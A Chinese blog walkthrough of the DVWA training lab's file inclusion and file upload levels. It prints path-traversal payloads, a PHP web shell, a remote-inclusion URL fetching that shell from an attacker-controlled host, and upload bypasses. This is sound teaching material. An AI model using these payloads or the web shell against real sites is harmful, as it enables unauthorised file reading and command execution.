dvwa:文件包含、文件上传

ops/2024/10/10 14:08:28/

文件包含

本地文件包含(敏感信息泄露)和远程文件包含(命令执行)

  • 本地文件包含一般包含一些本地的敏感文件,如:/etc/passwd或/etc/shadow等

  • 远程文件包含能使得服务器代码执行,如包含黑客vps的http://192.168.72.162:8000/shell.php文件,而文件内容如下:<?php system('whoami')?>

测试环境

本地文件包含不用什么测试环境,只要有个文件,就能知道其是否触发,远程文件包含需要我们写个php代码,如下

<?php
echo "this is the remote file"."\n";
system($_GET['a']);
?>

然后python -m http.server 开个服务器,让dvwa能包含我们的php代码

easy
  • linux服务下的本地文件包含

../../../../../../etc/passwd
  • windows服务下的本地文件包含

我的php网站部署在F盘,在F盘下放一个test.txt
​
../../../../../../test.txt能将文件读出
或者直接绝对路径:
​
C:/Windows/system.ini
  • 远程文件包含

http://www.oswe.com/dvwa/vulnerabilities/fi/?page=http://192.168.72.162:8000/shell.php&a=whoami
​
访问成功如下图:

 

medium
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\\" ), "", $file );
​
方法1:
直接输入绝对路径
http://www.oswe.com/dvwa/vulnerabilities/fi/?page=F:/test.txt
正常输出
​
方法2:双写绕过
http://www.oswe.com/dvwa/vulnerabilities/fi/?page=
..././..././..././..././..././..././..././..././test.txt
​
http://www.oswe.com/dvwa/vulnerabilities/fi/?page=hthttp://tp://192.168.72.162:8000/shell.php&a=whoami
high
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {// This isn't the page we want!echo "ERROR: File not found!";exit;
}
​
上面的逻辑是,如果参数没有file字符串,且不是include.php,直接过滤,所以这个情况不能使用远程文件包含了
我们通过伪协议file bypass
​
page=file:///C:/Windows/system.ini或
page=file:///../../../../../../../../test.txt
impossible
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {// This isn't the page we want!echo "ERROR: File not found!";exit;
}
​
后台只允许包含这4个文件

文件上传

文件上传只有medium、high、impossible三种难度

准备个php脚本

<?php
system($_GET['a']);
?>
medium
检测:请求头
​
抓包,修改数据包,直接过
Content-Type: image/jpeg
high
检测:后缀是否为jpg、jpeg、png
​
上传
shell.php.jpg或shell.php.png都能被解析为php文件(总感觉哪里很怪)

 

impossible
imagecreatefrompng
imagecreatefromjpeg
由文件或url创建一个新图像,如果解析图像失败会报错
​
上传的文件会成为md5值.png或md5值.jpg的形式,web服务器不会将其解析为php文件

http://www.ppmy.cn/ops/123527.html

相关文章

React(一) 认识React、熟悉类组件、JSX书写规范、嵌入变量表达式、绑定属性

文章目录 一、初始React1. React的基本认识2. Hello案例2.1 三个依赖2.2 渲染页面2.3 hello案例完整代码 二、类组件1. 封装类组件2. 组件里的数据3. 组件里的函数 (重点)4. 案例练习(1) 展示电影列表 三、JSX语法1. 认识JSX2. JSX书写规范及注释3. JSX嵌入变量作为子元素4. JS…

King3399(ubuntu文件系统)风扇驱动

该文章仅供参考&#xff0c;编写人不对任何实验设备、人员及测量结果负责&#xff01;&#xff01;&#xff01; 0 引言 文章主要介绍King3399&#xff08;ubuntu文件系统&#xff09;风扇控制&#xff08;GPIO&#xff09;&#xff0c;涉及king-rk3399.dts设备树修改&#x…

【Java SE 题库】输出一个数的二进制的奇数位和偶数位

&#x1f525;博客主页&#x1f525;&#xff1a;【 坊钰_CSDN博客 】 欢迎各位点赞&#x1f44d;评论✍收藏⭐ 目录 1. 题目 2. 分析 3. 代码实现 3.1 运行结果 4. 小结 1. 题目 输入一个数&#xff0c;请分别打印这个数二进制的奇数位和偶数位 例&#xff1a;15 …

2024-10-09 问AI: [AI面试题] 描述数据预处理在 AI 中的重要性

文心一言 数据预处理在人工智能&#xff08;AI&#xff09;中扮演着至关重要的角色&#xff0c;它是构建高效、准确和可靠AI模型不可或缺的步骤。以下是数据预处理在AI中重要性的详细描述&#xff1a; 1. 提高数据质量 清理和去噪&#xff1a;数据预处理可以识别和纠正数据中…

速盾:cdn加速是高防cdn好还是普通cdn好?

CDN加速是现代互联网服务中非常重要的一环&#xff0c;它可以加速网站内容的分发&#xff0c;提高用户访问网站的速度和体验。在CDN加速中&#xff0c;我们常常会遇到两种不同类型的CDN服务&#xff1a;高防CDN和普通CDN。那么究竟是高防CDN好还是普通CDN好呢&#xff1f;下面我…

九大排序之插入排序

1.前言 插入排序是把待排序的记录按其关键码值的大小逐个插入到一个已经排好序的有序序列中&#xff0c;直到所有的记录插入完为止&#xff0c;得到一个新的有序序列 。实际中我们玩扑克牌时&#xff0c;就用了插入排序的思想。 本章重点&#xff1a;主要着重的介绍两种插入排序…

【伺服】通信协议之MODBUS、主从设备、TCP/IP协议

MODBUS 是一种广泛应用于工业自动化系统的通信协议&#xff0c;由 Modicon 公司在 1979 年开发。它主要用于可编程逻辑控制器&#xff08;PLC&#xff09;、变频器、仪器仪表等设备之间的通信。MODBUS 协议因为其简单、易于实现&#xff0c;成为工业控制系统中最常用的协议之一…

sqli-labs靶场第三关less-3

sqli-labs靶场第三关less-3 1、确定注入点 http://192.168.128.3/sq/Less-3/?id1 http://192.168.128.3/sq/Less-3/?id2 有不同回显&#xff0c;判断可能存在注入&#xff0c; 2、判断注入类型 输入 http://192.168.128.3/sq/Less-3/?id1 and 11 http://192.168.128.3/sq/L…